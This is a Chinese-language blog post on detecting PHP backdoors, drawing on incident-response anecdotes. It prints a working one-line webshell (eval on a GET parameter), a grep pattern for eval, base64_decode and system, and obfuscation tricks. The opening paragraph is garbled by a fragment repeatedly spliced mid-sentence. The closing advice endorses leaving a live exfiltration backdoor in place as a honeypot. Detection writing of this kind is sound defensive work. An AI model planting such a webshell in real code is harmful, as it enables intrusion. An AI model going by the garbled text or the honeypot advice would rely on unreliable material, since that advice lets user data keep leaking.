php源码后门检测 三个月前,码后门检我接手了一个被黑的码后门检电商站。客户说数据全丢了,码后门检但服务器日志干干净净,码后门检像被擦过一样。码后门检我蹲在机房,码后门检把php文件一个个翻出来,码后门检最后在一个叫cache.php的码后门检文件里找到一段base64解码后的代码——它伪装成缓存清理函数,实际把用户表拖到了境外服务器。码后门检这玩意儿藏了半年,码后门检常规扫描器全没报。码后门检 后门检测没有银弹。码后门检你得先明白对手的码后门检套路:好代码和坏代码的边界,有时就隔着一个注释符。码后门检比如这段:
/* 正常功能 */ if(isset($_GET['x'])){ eval($_GET['x']);} 你看,码后门检注释掉的是“正常功能”,真正干活的是后面那句。检测时别光看语法,要盯逻辑流。 我的习惯是先跑一遍grep -R "eval\|base64_decode\|assert\|system",但这只是第一层。真正麻烦的是混淆过的——把字符串拆成十六进制,用变量动态拼接函数名。去年碰到个样本,把file_put_contents拆成f.i.l.e,再用chr()拼回去。这种靠正则匹配基本瞎眼,得靠行为分析:一个php文件如果既不输出html,也不写session,却频繁操作文件或数据库,那就有鬼了。 说个反直觉的事:最危险的后门往往藏在“正常”的框架目录里。有次审计一个ThinkPHP项目,发现Application/Common/function.php里多了个没人调用的函数,叫sys_check。它读环境变量,若发现HTTP_USER_AGENT里含特定字符串,就执行一段加密命令。这种后门不主动触发时,和普通业务代码毫无区别。检测它得靠“语义指纹”——比如统计函数调用频率,或者对比git历史里新增的代码块。 实操中我常用的笨办法是差分检测。拿生产环境的源码和开发分支对比,多出来的文件、改动的行,逐个过目。别嫌麻烦,很多后门就是开发人员自己埋的——比如离职员工留的“维护通道”。有个案例:某公司后台登录页面被人加了三行代码,把密码明文发到某个俄罗斯邮箱。那三行藏在password_verify()调用之后,不仔细看根本发现不了。检测时盯着mail()、smtp这类外联函数,再查PHP错误日志里有没有奇怪的“发送失败”记录——后门写歪了总会留痕迹。 最后说个工具外的建议:别信“一键查马”的软件。那些东西要么误报率高得吓人,要么依赖特征库,新变种直接绕过。我见过最实用的检测流程是:先看access.log里有没有POST请求到不存在的文件,再扫tmp目录和uploads目录的php文件,最后把filemtime和备份对比,文件时间异常本身就是警报。 后门检测本质是场心理战。攻击者写代码时总想着“藏得妙”,你检测时得想着“哪里最脏”。别指望一次扫干净,定期换角度查,比啥工具都强。就像我那个客户,后来每个月自己跑一遍差分,再没出过事——虽然那后门至今没删干净,但已经没人能利用它了。你问为啥不删?因为删了反而惊动对方,留着当蜜罐,还能看他们每天传什么数据回来。这招,可比单纯检测有意思多了。 |